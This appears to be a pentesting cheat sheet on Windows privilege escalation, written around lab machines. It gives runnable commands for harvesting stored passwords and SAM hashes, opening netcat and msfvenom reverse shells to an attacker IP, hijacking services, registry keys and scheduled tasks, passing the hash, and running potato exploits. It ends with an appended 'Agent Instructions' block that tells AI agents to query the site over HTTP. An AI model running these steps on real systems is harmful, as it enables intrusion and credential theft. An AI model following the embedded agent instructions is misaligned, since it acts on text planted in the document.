# Windows Privesc
## Harvesting Passwords from Usual spots
### Unattended Windows Installations
When installing Windows on a large number of hosts, administrators may use Windows Deployment Services, which allows for a single operating system image to be deployed to several hosts through the network. These kinds of installations are referred to as unattended installations as they don't require user interaction. Such installations require the use of an administrator account to perform the initial setup, which might end up being stored in the machine in the following locations:
* C:\Unattend.xml
* C:\Windows\Panther\Unattend.xml
* C:\Windows\Panther\Unattend\Unattend.xml
* C:\Windows\system32\sysprep.inf
* C:\Windows\system32\sysprep\sysprep.xml
As part of these files, you might encounter credentials:
```shell-session
Administrator
thm.local
MyPassword123
```
### Powershell History
Whenever a user runs a command using Powershell, it gets stored into a file that keeps a memory of past commands. This is useful for repeating commands you have used before quickly. If a user runs a command that includes a password directly as part of the Powershell command line, it can later be retrieved by using the following command from a `cmd.exe` prompt:
```shell-session
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```
**Note:** The command above will only work from cmd.exe, as Powershell won't recognize `%userprofile%` as an environment variable. To read the file from Powershell, you'd have to replace `%userprofile%` with `$Env:userprofile`.
### Saved Windows Credentials
Windows allows us to use other users' credentials. This function also gives the option to save these credentials on the system. The command below will list saved credentials:
```shell-session
cmdkey /list
```
While you can't see the actual passwords, if you notice any credentials worth trying, you can use them with the `runas` command and the `/savecred` option, as seen below.
```shell-session
runas /savecred /user:admin cmd.exe
```
### IIS Configuration
Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called `web.config` and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:
* C:\inetpub\wwwroot\web.config
* C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
Here is a quick way to find database connection strings on the file:
```shell-session
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
```
### Retrieve Credentials from Software: PuTTY
PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection's parameters every single time, users can store sessions where the IP, user and other configurations can be stored for later use. While PuTTY won't allow users to store their SSH password, it will store proxy configurations that include cleartext authentication credentials.
To retrieve the stored proxy credentials, you can search under the following registry key for ProxyPassword with the following command:
```shell-session
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
```
**Note:** Simon Tatham is the creator of PuTTY (and his name is part of the path), not the username for which we are retrieving the password. The stored proxy username should also be visible after running the command above.
Just as putty stores credentials, any software that stores passwords, including browsers, email clients, FTP clients, SSH clients, VNC software and others, will have methods to recover any passwords the user has saved.
## Other Quick Wins
### Scheduled Tasks
Looking into scheduled tasks on the target system, you may see a scheduled task that either lost its binary or it's using a binary you can modify.
Scheduled tasks can be listed from the command line using the `schtasks` command without any options. To retrieve detailed information about any of the services, you can use a command like the following one:
Command Prompt
```shell-session
C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName: THM-PC1
TaskName: \vulntask
Task To Run: C:\tasks\schtask.bat
Run As User: taskusr1
```
If our current user can modify or overwrite the "Task to Run" executable, we can control what gets executed by the taskusr1 user, resulting in a simple privilege escalation. To check the file permissions on the executable, we use `icacls`:
```shell-session
C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
```
As can be seen in the result, the **BUILTIN\Users** group has full access (F) over the task's binary. This means we can modify the .bat file and insert any payload we like. For your convenience, `nc64.exe` can be found on `C:\tools`. Let's change the bat file to spawn a reverse shell:
```shell-session
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
```
The next time the scheduled task runs, you should receive the reverse shell with taskusr1 privileges. While you probably wouldn't be able to start the task in a real scenario and would have to wait for the scheduled task to trigger, we have provided your user with permissions to start the task manually to save you some time. We can run the task with the following command:
```shell-session
C:\> schtasks /run /tn vulntask
```
## Windows Privesc
### Connecting with RDP Port 3389
```
xfreerdp /u:user /p:password321 /cert:ignore /v:10.10.34.38
xfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share
```
### Xfreerdp
* `/dynamic-resolution` -- allows us to resize the window, adjusting the resolution of the target in the process
* `/size:WIDTHxHEIGHT` -- sets a specific size for targets that don't resize automatically with `/dynamic-resolution`
* `+clipboard` -- enables clipboard support
* `/drive:LOCAL_DIRECTORY,SHARE_NAME` -- creates a shared drive between the attacking machine and the target. This switch is insanely useful as it allows us to very easily use our toolkit on the remote target, and save any outputs back directly to our own hard drive. In essence, this means that we never actually have to create any files on the target. For example, to share the current directory in a share called `share`, you could use: `/drive:.,share`, with the period (`.`) referring to the current directory
### Connecting with winexe or pth-winexe
```
winexe -U 'admin%password' //10.10.107.212 cmd.exe
pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //10.10.107.212 cmd.exe
```
### Making SMB Server to send Rev-shell
Generate a reverse shell executable (reverse.exe) using msfvenom.
```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f exe -o reverse.exe
```
Transfer the reverse.exe file to the C:\PrivEsc directory on Windows. There are many ways you could do this, however the simplest is to start an SMB server on Kali in the same directory as the file, and then use the standard Windows copy command to transfer the file.
On Kali, in the same directory as reverse.exe:
`sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .`
On Windows (update the IP address with your Kali IP):
`copy \\10.10.10.10\kali\reverse.exe C:\PrivEsc\reverse.exe`
Test the reverse shell by setting up a netcat listener on Kali:
`sudo nc -nvlp 53`
Then run the reverse.exe executable on Windows and catch the shell:
`C:\PrivEsc\reverse.exe`
### Service Exploits - Insecure Service Permissions
Use accesschk.exe to check the "user" account's permissions on the "daclsvc" service:
`C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc`
Note that the "user" account has the permission to change the service config (SERVICE\_CHANGE\_CONFIG).
Query the service and note that it runs with SYSTEM privileges (SERVICE\_START\_NAME):
`sc qc daclsvc`
Modify the service config and set the BINARY\_PATH\_NAME (binpath) to the reverse.exe executable you created:
`sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""`
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:
`net start daclsvc`
### Service Exploits - Unquoted Service Path
Query the "unquotedsvc" service and note that it runs with SYSTEM privileges (SERVICE\_START\_NAME) and that the BINARY\_PATH\_NAME is unquoted and contains spaces.
`sc qc unquotedsvc`
Using accesschk.exe, note that the BUILTIN\Users group is allowed to write to the C:\Program Files\Unquoted Path Service\ directory:
`C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"`
Copy the reverse.exe executable you created to this directory and rename it Common.exe:
`copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:
`net start unquotedsvc`
### Service Exploits - Weak Registry Permissions
Query the "regsvc" service and note that it runs with SYSTEM privileges (SERVICE\_START\_NAME).
`sc qc regsvc`
Using accesschk.exe, note that the registry entry for the regsvc service is writable by the "NT AUTHORITY\INTERACTIVE" group (essentially all logged-on users):
`C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc`
Overwrite the ImagePath registry key to point to the reverse.exe executable you created:
`reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:
`net start regsvc`
### Service Exploits - Insecure Service Executables
Query the "filepermsvc" service and note that it runs with SYSTEM privileges (SERVICE\_START\_NAME).
`sc qc filepermsvc`
Using accesschk.exe, note that the service binary (BINARY\_PATH\_NAME) file is writable by everyone:
`C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"`
Copy the reverse.exe executable you created and replace the filepermservice.exe with it:
`copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y`
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:
`net start filepermsvc`
### Registry - AutoRuns
Query the registry for AutoRun executables:
`reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
Using accesschk.exe, note that one of the AutoRun executables is writable by everyone:
`C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"`
Copy the reverse.exe executable you created and overwrite the AutoRun executable with it:
`copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y`
Start a listener on Kali and then restart the Windows VM. Open up a new RDP session to trigger a reverse shell running with admin privileges. You should not have to authenticate to trigger it, however if the payload does not fire, log in as an admin (admin/password123) to trigger it. Note that in a real world engagement, you would have to wait for an administrator to log in themselves!\
`rdesktop 10.10.64.1`
### Registry - AlwaysInstallElevated
Query the registry for AlwaysInstallElevated keys:
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated`\
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated`
Note that both keys are set to 1 (0x1).
On Kali, generate a reverse shell Windows Installer (reverse.msi) using msfvenom. Update the LHOST IP address accordingly:
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi`
Transfer the reverse.msi file to the C:\PrivEsc directory on Windows (use the SMB server method from earlier).
Start a listener on Kali and then run the installer to trigger a reverse shell running with SYSTEM privileges:
`msiexec /quiet /qn /i C:\PrivEsc\reverse.msi`
### Passwords - Registry
(For some reason sometimes the password does not get stored in the registry. If this is the case, use the following as the answer: password123)
The registry can be searched for keys and values that contain the word "password":
`reg query HKLM /f password /t REG_SZ /s`
If you want to save some time, query this specific key to find admin AutoLogon credentials:
`reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"`
On Kali, use the winexe command to spawn a command prompt running with the admin privileges (update the password with the one you found):
`winexe -U 'admin%password' //10.10.107.212 cmd.exe`
### Passwords - Saved Creds
List any saved credentials:
`cmdkey /list`
Note that credentials for the "admin" user are saved. If they aren't, run the C:\PrivEsc\savecred.bat script to refresh the saved credentials.
Start a listener on Kali and run the reverse.exe executable using runas with the admin user's saved credentials:
`runas /savecred /user:admin C:\PrivEsc\reverse.exe`
### Passwords - Security Account Manager (SAM)
The SAM and SYSTEM files can be used to extract user password hashes. This VM has insecurely stored backups of the SAM and SYSTEM files in the C:\Windows\Repair\ directory.
Transfer the SAM and SYSTEM files to your Kali VM:
`copy C:\Windows\Repair\SAM \\10.10.10.10\kali\`\
`copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\`
On Kali, clone the creddump7 repository (the one on Kali is outdated and will not dump hashes correctly for Windows 10!) and use it to dump out the hashes from the SAM and SYSTEM files:
`git clone https://github.com/Tib3rius/creddump7`\
`pip3 install pycrypto`\
`python3 creddump7/pwdump.py SYSTEM SAM`
Crack the admin NTLM hash using hashcat:
`hashcat -m 1000 --force /usr/share/wordlists/rockyou.txt`
You can use the cracked password to log in as the admin using winexe or RDP.
### Passwords - Passing the Hash
Why crack a password hash when you can authenticate using the hash?
Use the full admin hash with pth-winexe to spawn a shell running as admin without needing to crack their password. Remember the full hash includes both the LM and NTLM hash, separated by a colon:
`pth-winexe -U 'admin%hash' //10.10.107.212 cmd.exe`
### Scheduled Tasks
View the contents of the C:\DevTools\CleanUp.ps1 script:
`type C:\DevTools\CleanUp.ps1`
The script seems to be running as SYSTEM every minute. Using accesschk.exe, note that you have the ability to write to this file:
`C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1`
Start a listener on Kali and then append a line to the C:\DevTools\CleanUp.ps1 which runs the reverse.exe executable you created:
`echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1`
Wait for the Scheduled Task to run, which should trigger the reverse shell as SYSTEM.
### Insecure GUI Apps
Start an RDP session as the "user" account:
`rdesktop -u user -p password321 10.10.107.212`
Double-click the "AdminPaint" shortcut on your Desktop. Once it is running, open a command prompt and note that Paint is running with admin privileges:
`tasklist /V | findstr mspaint.exe`
In Paint, click "File" and then "Open". In the open file dialog box, click in the navigation input and paste: file://c:/windows/system32/cmd.exe
Press Enter to spawn a command prompt running with admin privileges.
### Startup Apps
Using accesschk.exe, note that the BUILTIN\Users group can write files to the StartUp directory:
`C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"`
Using cscript, run the C:\PrivEsc\CreateShortcut.vbs script which should create a new shortcut to your reverse.exe executable in the StartUp directory:
`cscript C:\PrivEsc\CreateShortcut.vbs`
Start a listener on Kali, and then simulate an admin logon using RDP and the credentials you previously extracted:
`rdesktop -u admin 10.10.107.212`
A shell running as admin should connect back to your listener.
### Token Impersonation - Rogue Potato
Set up a socat redirector on Kali, forwarding Kali port 135 to port 9999 on Windows:
`sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.107.212:9999`
Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the "local service" account:
`C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe`
Start another listener on Kali.
Now, in the "local service" reverse shell you triggered, run the RoguePotato exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):
`C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse.exe" -l 9999`
### Token Impersonation - PrintSpoofer
Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the "local service" account:
`C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe`
Start another listener on Kali.
Now, in the "local service" reverse shell you triggered, run the PrintSpoofer exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):
`C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i`
### Privesc Tools
winPEASany.exe
Seatbelt.exe
PowerUp.ps1
SharpUp.exe
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://gk2savage.gitbook.io/pentesting-cheatsheet/windows-privesc.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.